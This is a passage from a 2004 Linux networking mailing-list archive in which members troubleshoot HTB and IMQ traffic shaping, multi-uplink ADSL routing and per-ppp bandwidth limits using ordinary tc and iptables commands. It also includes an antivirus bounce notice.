># delegate all incoming on ppp+ to imq0
>iptables -t mangle -A FORWARD -i ppp+ -j IMQ --todev 0
>
>After all this I create the actual tc setup:
>
># --- snip ---
># clear root qdisc
> tc qdisc del dev imq0 root
>
># add root qdisc (htb)
> tc qdisc add dev imq0 root handle 1: htb default 40
>
># add root class (needed for bandwidth borrowing)
> tc class add dev imq0 parent 1: classid 1:1 htb rate 1mbit ceil 1mbit
>
># set classes for users
> tc class add dev imq0 parent 1:1 classid 1:10 htb rate 333kbit ceil 1mbit \
>        burst 15k
> tc class add dev imq0 parent 1:1 classid 1:20 htb rate 333kbit ceil 1mbit \
>        burst 15k
> tc class add dev imq0 parent 1:1 classid 1:30 htb rate 333kbit ceil 1mbit \
>        burst 15k
> tc class add dev imq0 parent 1:1 classid 1:40 htb rate 5kbps
>
># set filters to direct ips to their classes
> tc filter add dev imq0 protocol ip parent 1: prio 1 handle 1 fw flowid 1:10
> tc filter add dev imq0 protocol ip parent 1: prio 1 handle 2 fw flowid 1:20
> tc filter add dev imq0 protocol ip parent 1: prio 1 handle 3 fw flowid 1:30
>
># --- snap ---
>
>1:40 is just for testing.
>
>The 'rate'-argument gets applied correctly if I don't use ceil - but I 
>do, of
>course, want to let the classes borrow free bandwidth, so I use a ceiling
>of 1 MBit. And herein lies the problem:
>
>If 1:10 and 1:30 both download a file with full speed, 1:10 gets about
>20kb/s (which is under its guaranteed bandwidth!) and 1:30 gets
>90 kb/s. What is going wrong here? The shortened output of tc:
>
>class htb 1:1 root rate 1Mbit ceil 1Mbit burst 2909b/8 mpu 0b cburst 
>2909b/8 mpu 0b level 7
>class htb 1:10 parent 1:1 prio 0 quantum 4262 rate 333Kbit ceil 1Mbit 
>burst 15Kb/8 mpu 0b cburst
>class htb 1:20 parent 1:1 prio 0 quantum 4262 rate 333Kbit ceil 1Mbit 
>burst 15Kb/8 mpu 0b cburst
>class htb 1:30 parent 1:1 prio 0 quantum 4262 rate 333Kbit ceil 1Mbit 
>burst 15Kb/8 mpu 0b cburst
>class htb 1:40 parent 1:1 prio 0 quantum 1000 rate 40Kbit ceil 40Kbit 
>burst 1650b/8 mpu 0b cburst
>
>...shows that each class is configured equal.
>
>Any clues? I'd be very, very grateful if anyone could point out errors.
>If more output is needed, just tell me.
>
>
>Kind regards,
>
>Leslie
>
>_______________________________________________
>LARTC mailing list / LARTC@mailman.ds9a.nl
>http://mailman.ds9a.nl/mailman/listinfo/lartc HOWTO: http://lartc.org/



From chris@symbio.com  Thu Oct 28 21:05:35 2004
From: chris@symbio.com (Chris Bennett)
Date: Thu, 28 Oct 2004 15:05:35 -0500
Subject: [LARTC] Multiple uplinks through single ethernet
Message-ID: <001201c4bd29$7cc153d0$6102080a@CEBNC6000>

Next week I'm replacing my single SDSL connection with two ADSL connections. 
I've got a plan for dealing with this, but I'd like any thoughts on 
potential problems I might run into.

My goal is not to load balance the bandwidth (yet), but I do want to run all 
traffic through a single router.  At the moment this router only has one 
ethernet port for both of the ADSL connections (and another ethernet port 
for the local network) so this is my biggest concern.  The example in the 
HOWTO assumes a separate ethernet port for each uplink.

Here's the intended setup:

ADSL 1 = 6mbps/768kbps, several static IPs on 66.92.128.0/24 (gw = .1)

ADSL 2 = 6mpbs/768kbps, several static IPs on 69.17.22.0/24 (gw = .1)


LOCAL NET                ROUTER            INTERNET
                    -----------------
192.168.A.0/24 ----|     <-NAT->     |---- ADSL 1
                   |ETH0         ETH1|
192.168.B.0/24 ----|     <-NAT->     |---- ADSL 2
                    -----------------

For example (to make up some numbers):

subnet A:
192.168.1.2 <-> 66.92.128.2
192.168.1.3 <-> 66.92.128.3
subnet B:
192.168.2.2 <-> 69.17.22.2
192.168.2.3 <-> 69.17.22.3

The default route to the Internet will be 66.92.128.1 via ADSL 1, but all 
traffic for internal subnet B (SNATs to 69.17.22.xx) should instead route to 
69.17.22.1 via ADSL 2.

I think (but correct me if I'm wrong) the command for this is:

ip route add 69.17.22.0/24 dev eth1 src 69.17.22.2

So are there any problems with this setup?  Is there any need for separate 
routing tables if both ADSL connections are on the same ethernet port?  My 
router is a mini-itx so I'm not sure I can easily fit another ethernet port 
in it, but I could look into that would really make things work better.

Thanks!

Chris 


From andy.furniss@dsl.pipex.com  Thu Oct 28 23:04:56 2004
From: andy.furniss@dsl.pipex.com (Andy Furniss)
Date: Thu, 28 Oct 2004 23:04:56 +0100
Subject: [LARTC] HTB: Problem with excess bandwidth distribution
In-Reply-To: <41812464.8010207@gmx.net>
References: <41812464.8010207@gmx.net>
Message-ID: <41816D08.7000809@dsl.pipex.com>

Leslie Patrick Polzer wrote:
> Hello,
> 
> I have a serious problem with HTB which I wasn't able to solve myself.
> 
> I run a masquerading router with ppp0 as interface to the Internet.
> Three clients need to share a downstream of 1 MBit, which I want
> to divide with tc.
> When I see a packet being forwarded to one of these clients, I give
> it the appropriate unique mark:
> 
> iptables -t mangle -A FORWARD -d 192.168.34.141 -j MARK --set-mark 1
> iptables -t mangle -A FORWARD -d 192.168.34.140 -j MARK --set-mark 2
> iptables -t mangle -A FORWARD -d 192.168.1.2 -j MARK --set-mark 3
> 
> Because it might be of interest: 192.168.34.0/24 is on network A
> with 10 MBit, 192.168.1.0/24 is on network B with 100 MBit.
> 
> I then attach an IMQ device imq0 to the FORWARD table:

You can't use IMQ in forward AFAIK, see

http://www.docum.org/docum.org/kptd/

You can use it in prerouting, but because you are doing NAT you will 
need to select for after NAT in the new IMQ from www.linuximq.net or 
patch for NAT if you want to use an older IMQ. You can't mark on de 
natted IPs in prerouting so you need to use u32.

Shaping from the narrow end of the bottleneck is a bit of a kludge, you 
have to set your rates/ceils lower than link speed or you won't have a 
queue to shape with.

If you don't want to have a more complicated script to mark interactive 
packets/use prio etc. I would add 30K bfifos to each class - or if you 
don't mind patching/tweaking use esfq/sfq with a queue length of about 
20, not that these figures are set in stone - but the defaults for htb 
with no queue added or untweaked sfq are alot longer.

Andy.


> 
> # delegate all incoming on ppp+ to imq0
> iptables -t mangle -A FORWARD -i ppp+ -j IMQ --todev 0
> 
> After all this I create the actual tc setup:
> 
> # --- snip ---
> # clear root qdisc
> tc qdisc del dev imq0 root
> 
> # add root qdisc (htb)
> tc qdisc add dev imq0 root handle 1: htb default 40
> 
> # add root class (needed for bandwidth borrowing)
> tc class add dev imq0 parent 1: classid 1:1 htb rate 1mbit ceil 1mbit
> 
> # set classes for users
> tc class add dev imq0 parent 1:1 classid 1:10 htb rate 333kbit ceil 1mbit \
>        burst 15k
> tc class add dev imq0 parent 1:1 classid 1:20 htb rate 333kbit ceil 1mbit \
>        burst 15k
> tc class add dev imq0 parent 1:1 classid 1:30 htb rate 333kbit ceil 1mbit \
>        burst 15k
> tc class add dev imq0 parent 1:1 classid 1:40 htb rate 5kbps
> 
> # set filters to direct ips to their classes
> tc filter add dev imq0 protocol ip parent 1: prio 1 handle 1 fw flowid 1:10
> tc filter add dev imq0 protocol ip parent 1: prio 1 handle 2 fw flowid 1:20
> tc filter add dev imq0 protocol ip parent 1: prio 1 handle 3 fw flowid 1:30
> 
> # --- snap ---
> 
> 1:40 is just for testing.
> 
> The 'rate'-argument gets applied correctly if I don't use ceil - but I 
> do, of
> course, want to let the classes borrow free bandwidth, so I use a ceiling
> of 1 MBit. And herein lies the problem:
> 
> If 1:10 and 1:30 both download a file with full speed, 1:10 gets about
> 20kb/s (which is under its guaranteed bandwidth!) and 1:30 gets
> 90 kb/s. What is going wrong here? The shortened output of tc:
> 
> class htb 1:1 root rate 1Mbit ceil 1Mbit burst 2909b/8 mpu 0b cburst 
> 2909b/8 mpu 0b level 7
> class htb 1:10 parent 1:1 prio 0 quantum 4262 rate 333Kbit ceil 1Mbit 
> burst 15Kb/8 mpu 0b cburst
> class htb 1:20 parent 1:1 prio 0 quantum 4262 rate 333Kbit ceil 1Mbit 
> burst 15Kb/8 mpu 0b cburst
> class htb 1:30 parent 1:1 prio 0 quantum 4262 rate 333Kbit ceil 1Mbit 
> burst 15Kb/8 mpu 0b cburst
> class htb 1:40 parent 1:1 prio 0 quantum 1000 rate 40Kbit ceil 40Kbit 
> burst 1650b/8 mpu 0b cburst
> 
> ...shows that each class is configured equal.
> 
> Any clues? I'd be very, very grateful if anyone could point out errors.
> If more output is needed, just tell me.
> 
> 
> Kind regards,
> 
> Leslie
> 
> _______________________________________________
> LARTC mailing list / LARTC@mailman.ds9a.nl
> http://mailman.ds9a.nl/mailman/listinfo/lartc HOWTO: http://lartc.org/
> 



From andy.furniss@dsl.pipex.com  Thu Oct 28 23:18:02 2004
From: andy.furniss@dsl.pipex.com (Andy Furniss)
Date: Thu, 28 Oct 2004 23:18:02 +0100
Subject: [LARTC] Limiting Bandwidth of an ppp interfaces
In-Reply-To: <007d01c4bc07$e05953c0$95f0a8c0@intern.dunkel.de>
References: <007d01c4bc07$e05953c0$95f0a8c0@intern.dunkel.de>
Message-ID: <4181701A.2020001@dsl.pipex.com>

Florian Taeger wrote:
> Hi everyone.
> 
> I'm working on a problem since some days.
> 
> I have a linux router with about 100 ppp interfaces. Each interface should
> bei limited to an individual bandwidth of 1024kbit, 2048kbit or 3096kbit. Up
> AND downstream. (let's say for example 1024kbit upstream and 1024kbit
> downstream)
> 
> The reason for this problem: I have to limit users to their booked
> bandwidth, because there are hard rules, who is allowed to use which kind of
> bandwidth. but some users used their 1024kbit login data with an 3096kbit
> dsl line and of course they got the whole 3mbit bandwidth for
> downloads/uploads.
> 
> So i MUST limit the users to a hard limit of bandwidth. no fair dealing or
> something else. just a hardlimit for bandwidth. User X (pppX) get's 1024kbit
> of bandwidth. no more nor less.
> 
> Another problem is, that behind an ppp interface there are some /29 net of
> ip-adresses. So i am not able to filter by ip address. i have to filter by
> interface.
> 
> but i just don't know how to deal with the problem Traffic shaping works
> only for egress traffic, doesn't it?
> 
> Did anybody worked on the same problem before or can provide a solution for
> this?

If the traffic from all the ppps leave by one interface then you could 
mark packets by incoming interface and set up egress shaping with say 
HTB on that interface. If the traffic leaves on > 1 interfaces then you 
need to use IMQ.

Andy.



From andy.furniss@dsl.pipex.com  Thu Oct 28 23:25:04 2004
From: andy.furniss@dsl.pipex.com (Andy Furniss)
Date: Thu, 28 Oct 2004 23:25:04 +0100
Subject: [LARTC] Limiting Bandwidth of an ppp interfaces
In-Reply-To: <4181701A.2020001@dsl.pipex.com>
References: <007d01c4bc07$e05953c0$95f0a8c0@intern.dunkel.de> <4181701A.2020001@dsl.pipex.com>
Message-ID: <418171C0.5060201@dsl.pipex.com>

> If the traffic leaves on > 1 interfaces then you 
> need to use IMQ.

I forgot to put - you can also attach policers to each ppp - thay are 
not queues so they don't limit rate as such - but they can drop if over 
rate - thus limiting TCP.

Andy.


From leslie.polzer@gmx.net  Fri Oct 29 07:11:37 2004
From: leslie.polzer@gmx.net (Leslie Patrick Polzer)
Date: Fri, 29 Oct 2004 08:11:37 +0200
Subject: [LARTC] HTB: Problem with excess bandwidth distribution
In-Reply-To: <41816D08.7000809@dsl.pipex.com>
References: <41812464.8010207@gmx.net> <41816D08.7000809@dsl.pipex.com>
Message-ID: <4181DF19.7050502@gmx.net>

Andy Furniss wrote:

> Leslie Patrick Polzer wrote:
>
>> Hello,
>>
>> I have a serious problem with HTB which I wasn't able to solve myself.
>>
>> I run a masquerading router with ppp0 as interface to the Internet.
>> Three clients need to share a downstream of 1 MBit, which I want
>> to divide with tc.
>> When I see a packet being forwarded to one of these clients, I give
>> it the appropriate unique mark:
>>
>> iptables -t mangle -A FORWARD -d 192.168.34.141 -j MARK --set-mark 1
>> iptables -t mangle -A FORWARD -d 192.168.34.140 -j MARK --set-mark 2
>> iptables -t mangle -A FORWARD -d 192.168.1.2 -j MARK --set-mark 3
>>
>> Because it might be of interest: 192.168.34.0/24 is on network A
>> with 10 MBit, 192.168.1.0/24 is on network B with 100 MBit.
>>
>> I then attach an IMQ device imq0 to the FORWARD table:
>
>
> You can't use IMQ in forward AFAIK, see
>
> http://www.docum.org/docum.org/kptd/

Hmmm, really?
I mean, all intended packets are going through it, no errors
whatsoever. They are being marked correctly by iptables
and tc filter classifies according to mark. The only problem
seems to be the excess bandwidth distribution, which
leaves me to the question:

How could the hooks of IMQ and the excess bandwidth
distribution of HTB relate in this setup?

I hope you are understanding that I do not question your
knowledge. I'm just not fully persuaded of this yet, so I'd
like to discuss it a bit more.

And thanks a lot for the additional information you gave me!


Kind regards,

Leslie


From techsupport@sqliaison.com  Fri Oct 29 07:34:52 2004
From: techsupport@sqliaison.com (techsupport@sqliaison.com)
Date: Fri, 29 Oct 2004 02:34:52 -0400
Subject: [LARTC] SQLiaison Mail Server : GroupShield Alert
Message-ID: <000001c4bd81$6544b910$50f7cdcd@sqliaison.com>

This is a multi-part message in MIME format.

------=_NextPart_000_0001_01C4BD5F.DE331910
Content-Type: text/plain;
	charset="utf-8"
Content-Transfer-Encoding: quoted-printable

SQLiaison Mail Server: GroupShield=C2=99 Alert=20

The email server has discovered a problem with the following email.

Please note that the sender of the email will not be notified with this
message.

> More information :

Date/Time sent: 29 Oct 2004 02:34:51
Subject line: [LARTC] Re:
From: lartc-admin@mailman.ds9a.nl
To: LARTC
Action taken: Deleted
Virus Found: W32/Bagle.ai@MM
Reason: Anti-Virus
Rule Group:=20


For additional information, please contact SQLiaison Support Team

techsupport@sqliaison.com <mailto:techsupport@sqliaison.com>=20

=20


------=_NextPart_000_0001_01C4BD5F.DE331910
Content-Type: text/html;
	charset="utf-8"
Content-Transfer-Encoding: 7bit

<body bgcolor="#91bbd3">
<!-- Copyright (C) 2003 Networks Associates Technology Inc. All rights reserved. -->
<font face="Verdana"><b>
<FONT color=#ff0000>SQLiaison Mail Server: GroupShield&#153 Alert</FONT></b>
</font> 
<P><font face="Verdana">The email server has discovered a problem with the following email.</font></P>
<P><font face="Verdana">Please note that the sender of the email will not be 
notified with this message.</font></P>
<P><font face="Verdana">&gt; More information :</font></P>

<font face="Verdana">Date/Time sent: 29 Oct 2004 02:34:51<br>
Subject line: [LARTC] Re:<br>
From: lartc-admin@mailman.ds9a.nl<br>
To: LARTC<br>
Action taken: Deleted<br>
Virus Found: W32/Bagle.ai@MM<br>
Reason: Anti-Virus<br>
Rule Group: <br>

</font>
<p><font face="Verdana">For additional information, please contact SQLiaison 
Support Team</font></p>
<p><font face="Verdana"><a href="mailto:techsupport@sqliaison.com">
techsupport@sqliaison.com</a></font></p>
<p>&nbsp;</p>
</body>
------=_NextPart_000_0001_01C4BD5F.DE331910--

From mail@konfu.de  Fri Oct 29 08:32:53 2004
From: mail@konfu.de (Florian Taeger)
Date: Fri, 29 Oct 2004 09:32:53 +0200
Subject: [LARTC] Limiting Bandwidth of an ppp interfaces
References: <007d01c4bc07$e05953c0$95f0a8c0@intern.dunkel.de> <4181701A.2020001@dsl.pipex.com>
Message-ID: <019601c4bd89$92713b40$95f0a8c0@intern.dunkel.de>

Hi.

> If the traffic from all the ppps leave by one interface then you could
> mark packets by incoming interface and set up egress shaping with say
> HTB on that interface.

There is only one eth0 interface to the internet and many ppp for the users.

So ... I have to shape every traffic from the ppp interfaces to eth0
(internet) and the same way around, don't I ??

How would it be done with htb ??

The problem ist - 50% of all the traffic on eth0 is to establish the ppp
session through a l2tp tunnel and the other 50% are for the real traffic to
the internet. So i only want to shape down the traffic from or to the ppp
interfaces. But I can't shape the whole traffic on eth0. So ... will there
be any problems regarding this ?

Of course i read the docs, but I just don't know how exactly to generate the
shape-filter for this. I know i have to establish a root entry and make
another entry for every ppp device. but how do i connect the interfaces an
the traffic ?!? How would I generate this "hard limit" for the traffic ?

Many thanks for the help.

Regards

F.Taeger


From leslie.polzer@gmx.net  Fri Oct 29 09:51:03 2004
From: leslie.polzer@gmx.net (Leslie Patrick Polzer)
Date: Fri, 29 Oct 2004 10:51:03 +0200
Subject: [LARTC] Limiting Bandwidth of an ppp interfaces
In-Reply-To: <019601c4bd89$92713b40$95f0a8c0@intern.dunkel.de>
References: <007d01c4bc07$e05953c0$95f0a8c0@intern.dunkel.de> <4181701A.2020001@dsl.pipex.com> <019601c4bd89$92713b40$95f0a8c0@intern.dunkel.de>
Message-ID: <41820477.6030804@gmx.net>

Florian Taeger wrote:

>Of course i read the docs, but I just don't know how exactly to generate the
>shape-filter for this. I know i have to establish a root entry and make
>another entry for every ppp device. but how do i connect the interfaces an
>the traffic ?!? How would I generate this "hard limit" for the traffic ?
>  
>
Like Andy Furniss wrote:

Mark each incoming packets on pppn so you know where it is coming from.
Then attach n HTB classes below eth0's root and stuff each packet in its
class.


Kind regards,

Leslie




From leslie.polzer@gmx.net  Fri Oct 29 12:17:21 2004
From: leslie.polzer@gmx.net (Leslie Patrick Polzer)
Date: Fri, 29 Oct 2004 13:17:21 +0200
Subject: [LARTC] HTB: Problem with excess bandwidth distribution
In-Reply-To: <41816D08.7000809@dsl.pipex.com>
References: <41812464.8010207@gmx.net> <41816D08.7000809@dsl.pipex.com>
Message-ID: <418226C1.3060105@gmx.net>

Andy Furniss wrote:

> Shaping from the narrow end of the bottleneck is a bit of a kludge, 
> you have to set your rates/ceils lower than link speed or you won't 
> have a queue to shape with.
>
Could you also elaborate this a bit further?


Many thanks so far!

Leslie

From eric@regit.org  Fri Oct 29 12:45:43 2004
From: eric@regit.org (Eric Leblond)
Date: Fri, 29 Oct 2004 13:45:43 +0200
Subject: [LARTC] Limiting Bandwidth of an ppp interfaces
In-Reply-To: <41820477.6030804@gmx.net>
References: <007d01c4bc07$e05953c0$95f0a8c0@intern.dunkel.de>
 <4181701A.2020001@dsl.pipex.com>
 <019601c4bd89$92713b40$95f0a8c0@intern.dunkel.de>
 <41820477.6030804@gmx.net>
Message-ID: <1099050344.3555.28.camel@coati>

On Fri, 2004-10-29 at 10:51 +0200, Leslie Patrick Polzer wrote:
> Florian Taeger wrote:
> Mark each incoming packets on pppn so you know where it is coming from.
> Then attach n HTB classes below eth0's root and stuff each packet in its
> class.

Maybe not the best way to do. Script can be run when a ppp connection
come up. Username (ppp login) is at this moment available as a variable
environnement. Knowing that, you can then set up the correct QOS policy
on the link.

BR,
-- 
Eric Leblond <eric@regit.org>


From andy.furniss@dsl.pipex.com  Fri Oct 29 16:29:18 2004
From: andy.furniss@dsl.pipex.com (Andy Furniss)
Date: Fri, 29 Oct 2004 16:29:18 +0100
Subject: [LARTC] HTB: Problem with excess bandwidth distribution
In-Reply-To: <4181DF19.7050502@gmx.net>
References: <41812464.8010207@gmx.net> <41816D08.7000809@dsl.pipex.com> <4181DF19.7050502@gmx.net>
Message-ID: <418261CE.30206@dsl.pipex.com>

Leslie Patrick Polzer wrote:
> Andy Furniss wrote:
> 
>> Leslie Patrick Polzer wrote:
>>
>>> Hello,
>>>
>>> I have a serious problem with HTB which I wasn't able to solve myself.
>>>
>>> I run a masquerading router with ppp0 as interface to the Internet.
>>> Three clients need to share a downstream of 1 MBit, which I want
>>> to divide with tc.
>>> When I see a packet being forwarded to one of these clients, I give
>>> it the appropriate unique mark:
>>>
>>> iptables -t mangle -A FORWARD -d 192.168.34.141 -j MARK --set-mark 1
>>> iptables -t mangle -A FORWARD -d 192.168.34.140 -j MARK --set-mark 2
>>> iptables -t mangle -A FORWARD -d 192.168.1.2 -j MARK --set-mark 3
>>>
>>> Because it might be of interest: 192.168.34.0/24 is on network A
>>> with 10 MBit, 192.168.1.0/24 is on network B with 100 MBit.
>>>
>>> I then attach an IMQ device imq0 to the FORWARD table:
>>
>>
>>
>> You can't use IMQ in forward AFAIK, see
>>
>> http://www.docum.org/docum.org/kptd/
> 
> 
> Hmmm, really?
> I mean, all intended packets are going through it, no errors
> whatsoever. They are being marked correctly by iptables
> and tc filter classifies according to mark. The only problem
> seems to be the excess bandwidth distribution, which
> leaves me to the question:
> 
> How could the hooks of IMQ and the excess bandwidth
> distribution of HTB relate in this setup?
> 
> I hope you are understanding that I do not question your
> knowledge. I'm just not fully persuaded of this yet, so I'd
> like to discuss it a bit more.
> 

You are right to question me :-) - I was thinking a bit too much about 
my setup (At least I know that works). I use IMQ on ppp so I can shape 
traffic headed for local processes as well as forwarded. If you don't 
need to do this then you don't need to do it in prerouting anyway.

I am guessing that calling IMQ from forward uses postrouting which is OK 
for your needs. I know from a test I did in prerouting that IMQ doesn't 
respect where in a table it gets called from. You could test by seeing 
if you can shape locally generated traffic marked in output I suppose.

Wherever it hooks you need to set a rate less than link speed and if you 
use an old kernel, patch HTB. I said shaping from the wrong end of the 
bottleneck is a kludge because if I shape from the fat end then I 
control exactly what happens - I can arrange for my latency never to be 
increased by more than the time it takes for a packet my MTU long to be 
sent at my bitrate. As long as I tweak for link overheads I can use 
nearly 100% bandwidth.

Incoming traffic from my ISP has already been through a 600ms fifo - 
it's never going to arrive at more than my link speed, so I need to set 
the ceils/rate totals to less than link speed - how much less will 
determine how fast the queue fills. The behavior of various types of 
queues is probably not the same as if they were at the other end of the 
bottleneck.

There are also factors out of my control - TCP can get bursty when acks 
get buffered elsewhere. There may be packets in long buffers (mainly 
P2P) headed for me which are unstoppable, and my queue may not have any 
packets from active connections at any given time. The queue also reacts 
  too late when the bandwidth changes - A new connection will be in TCP 
slowstart, which quite quickly will increase rate causing a temporary 
filling of ISP buffer - which hurts latency. It doesn't fill enough to 
cause drops, though, so as far as bandwidth allocation goes it's OK.
My queues also drop a bit too much when this happens - causing TCP to 
resync which can be bursty.

Andy.


> And thanks a lot for the additional information you gave me!
> 
> 
> Kind regards,
> 
> Leslie
> 
> 



From leslie.polzer@gmx.net  Fri Oct 29 16:36:44 2004
From: leslie.polzer@gmx.net (Leslie Patrick Polzer)
Date: Fri, 29 Oct 2004 17:36:44 +0200
Subject: [LARTC] HTB: Problem with excess bandwidth distribution
In-Reply-To: <418261CE.30206@dsl.pipex.com>
References: <41812464.8010207@gmx.net> <41816D08.7000809@dsl.pipex.com> <4181DF19.7050502@gmx.net> <418261CE.30206@dsl.pipex.com>
Message-ID: <4182638C.4020404@gmx.net>

Still problems :(

I upgraded to kernel 2.6.9 now, configured IMQ to hook itself up after 
NAT, called it
from prerouting, used u32 (matching works), set the root class to a rate 
of 800kBit
(which is 200 less than my link speed) - and the behavior gets even worse :(

Unfortunately, I cannot shape on the outgoing interfaces either, because 
there are two.

I really don't know what to do now... I haven't dug deep into CBQ yet - 
should I try it?

Leslie

From jasonb@edseek.com  Fri Oct 29 17:19:46 2004
From: jasonb@edseek.com (Jason Boxman)
Date: Fri, 29 Oct 2004 12:19:46 -0400
Subject: [LARTC] HTB: Problem with excess bandwidth distribution
In-Reply-To: <4182638C.4020404@gmx.net>
References: <41812464.8010207@gmx.net> <418261CE.30206@dsl.pipex.com> <4182638C.4020404@gmx.net>
Message-ID: <200410291219.46904.jasonb@edseek.com>

On Friday 29 October 2004 11:36, Leslie Patrick Polzer wrote:
> Still problems :(
>
> I upgraded to kernel 2.6.9 now, configured IMQ to hook itself up after
> NAT, called it
> from prerouting, used u32 (matching works), set the root class to a rate
> of 800kBit
> (which is 200 less than my link speed) - and the behavior gets even worse
> :(

Define worse?  What metric are you using to measure the behavior?

> Unfortunately, I cannot shape on the outgoing interfaces either, because
> there are two.

Wouldn't IMQ work for this too?

> I really don't know what to do now... I haven't dug deep into CBQ yet -
> should I try it?

CBQ won't magically work over multiple interfaces without something like IMQ, 
just like HTB.

-- 

Jason Boxman
Perl Programmer / *NIX Systems Administrator
Shimberg Center for Affordable Housing | University of Florida
http://edseek.com/ - Linux and FOSS stuff


From sspies@sloc.de  Fri Oct 29 17:24:25 2004
From: sspies@sloc.de (Sebastian Spies)
Date: Fri, 29 Oct 2004 18:24:25 +0200
Subject: [LARTC] CBQ: sibling isolated-classes lend out bandwidth
Message-ID: <1099067066.1643.4.camel@setebos>

--=-EdBOij6pxWI+fv0GYMXS
Content-Type: text/plain
Content-Transfer-Encoding: 7bit



How can it be, that class 1:3 in my case borrows, when all sibling
classes are isolated ?


nessus:~# tc -s -d class show dev eth1
class cbq 1: root rate 100Mbit cell 8b (bounded,isolated) prio
no-transmit/8 weight 100Mbit allot 1514b
level 2 ewma 5 avpkt 1000b maxidle 1us
Sent 484 bytes 7 pkts (dropped 0, overlimits 0)
  borrowed 0 overactions 0 avgidle 77 undertime 0

class cbq 1:1 parent 1: rate 768Kbit cell 8b (bounded,isolated) prio
no-transmit/8 allot 1500b
level 1 ewma 5 avpkt 1000b maxidle 3772us
Sent 0 bytes 0 pkts (dropped 0, overlimits 0)
  borrowed 47589 overactions 0 avgidle 123622 undertime 0

class cbq 1:2 parent 1:1 leaf 20: rate 702Kbit cell 8b (isolated) prio
no-transmit/8 weight 8985bps allot 1500b
level 0 ewma 5 avpkt 1000b maxidle 4129us
Sent 0 bytes 0 pkts (dropped 0, overlimits 0)
  borrowed 0 overactions 0 avgidle 135332 undertime 0

class cbq 1:3 parent 1:1 leaf 30: rate 64Kbit cell 8b (isolated) prio
no-transmit/8 weight 819bps allot 1500b
level 0 ewma 5 avpkt 1000b maxidle 45584us
Sent 68718965 bytes 47597 pkts (dropped 0, overlimits 0)
  borrowed 47589 overactions 0 avgidle -5.67627e+06 undertime 5.57184e
+06




Greets

Sebastian Spies <sspies@sloc.de>

--=-EdBOij6pxWI+fv0GYMXS
Content-Type: text/html; charset=utf-8
Content-Transfer-Encoding: 7bit

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 TRANSITIONAL//EN">
<HTML>
<HEAD>
  <META HTTP-EQUIV="Content-Type" CONTENT="text/html; CHARSET=UTF-8">
  <META NAME="GENERATOR" CONTENT="GtkHTML/3.2.3">
</HEAD>
<BODY>
<BR>
<TABLE CELLSPACING="0" CELLPADDING="0" WIDTH="100%">
<TR>
<TD>
<BR>
</TD>
</TR>
</TABLE>
How can it be, that class 1:3 in my case borrows, when all sibling classes are isolated ?<BR>
<BR>
<BR>
nessus:~# tc -s -d class show dev eth1<BR>
class cbq 1: root rate 100Mbit cell 8b (bounded,isolated) prio no-transmit/8 weight 100Mbit allot 1514b<BR>
level 2 ewma 5 avpkt 1000b maxidle 1us<BR>
Sent 484 bytes 7 pkts (dropped 0, overlimits 0)<BR>
&nbsp; borrowed 0 overactions 0 avgidle 77 undertime 0<BR>
<BR>
class cbq 1:1 parent 1: rate 768Kbit cell 8b (bounded,isolated) prio no-transmit/8 allot 1500b<BR>
level 1 ewma 5 avpkt 1000b maxidle 3772us<BR>
Sent 0 bytes 0 pkts (dropped 0, overlimits 0)<BR>
&nbsp; borrowed 47589 overactions 0 avgidle 123622 undertime 0<BR>
<BR>
class cbq 1:2 parent 1:1 leaf 20: rate 702Kbit cell 8b (isolated) prio no-transmit/8 weight 8985bps allot 1500b<BR>
level 0 ewma 5 avpkt 1000b maxidle 4129us<BR>
Sent 0 bytes 0 pkts (dropped 0, overlimits 0)<BR>
&nbsp; borrowed 0 overactions 0 avgidle 135332 undertime 0<BR>
<BR>
class cbq 1:3 parent 1:1 leaf 30: rate 64Kbit cell 8b (isolated) prio no-transmit/8 weight 819bps allot 1500b<BR>
level 0 ewma 5 avpkt 1000b maxidle 45584us<BR>
Sent 68718965 bytes 47597 pkts (dropped 0, overlimits 0)<BR>
&nbsp; borrowed 47589 overactions 0 avgidle -5.67627e+06 undertime 5.57184e+06<BR>
<BR>
<BR>
<BR>
<BR>
Greets<BR>
<TABLE CELLSPACING="0" CELLPADDING="0" WIDTH="100%">
<TR>
<TD>
<BR>
Sebastian Spies &lt;<A HREF="mailto:sspies@sloc.de">sspies@sloc.de</A>&gt;
</TD>
</TR>
</TABLE>
</BODY>
</HTML>

--=-EdBOij6pxWI+fv0GYMXS--


From fpereira@lojan.com  Fri Oct 29 19:44:39 2004
From: fpereira@lojan.com (Francisco Pereira)
Date: Fri, 29 Oct 2004 15:44:39 -0300
Subject: [LARTC] HTB: Problem with excess bandwidth distribution
In-Reply-To: <4182638C.4020404@gmx.net>
References: <41812464.8010207@gmx.net> <41816D08.7000809@dsl.pipex.com> <4181DF19.7050502@gmx.net> <418261CE.30206@dsl.pipex.com> <4182638C.4020404@gmx.net>
Message-ID: <1099075479.41828f975deca@webmail.montevideo.com.uy>

Quoting Leslie Patrick Polzer <leslie.polzer@gmx.net>:

> Still problems :(
> 
> I upgraded to kernel 2.6.9 now, configured IMQ to hook itself up after 
> NAT, called it
> from prerouting, used u32 (matching works), set the root class to a rate 
> of 800kBit
> (which is 200 less than my link speed) - and the behavior gets even worse :(
> 
> Unfortunately, I cannot shape on the outgoing interfaces either, because 
> there are two.

Have you tried putting another machine as a bridge? (You dont need the IMQ in
this case)


-------------------------------------------------------------
Elecciones Nacionales 2004
Consulte en el Portal donde votar
http://www.montevideo.com.uy/elecciones2004
-------------------------------------------------------------


From andy.furniss@dsl.pipex.com  Fri Oct 29 23:03:26 2004
From: andy.furniss@dsl.pipex.com (Andy Furniss)
Date: Fri, 29 Oct 2004 23:03:26 +0100
Subject: [LARTC] HTB: Problem with excess bandwidth distribution
In-Reply-To: <4182638C.4020404@gmx.net>
References: <41812464.8010207@gmx.net> <41816D08.7000809@dsl.pipex.com> <4181DF19.7050502@gmx.net> <418261CE.30206@dsl.pipex.com> <4182638C.4020404@gmx.net>
Message-ID: <4182BE2E.1050307@dsl.pipex.com>

Leslie Patrick Polzer wrote:
> Still problems :(
> 
> I upgraded to kernel 2.6.9 now, configured IMQ to hook itself up after 
> NAT, called it
> from prerouting, used u32 (matching works), set the root class to a rate 
> of 800kBit
> (which is 200 less than my link speed) - and the behavior gets even 
> worse :(
> 
> Unfortunately, I cannot shape on the outgoing interfaces either, because 
> there are two.
> 
> I really don't know what to do now... I haven't dug deep into CBQ yet - 
> should I try it?

Hmm - this should work. I just cobbled together a test - It's not very 
elegant because it's based on a slightly different setup, but it works 
for me. I use default as my local traffic has a dynamic IP - you don't 
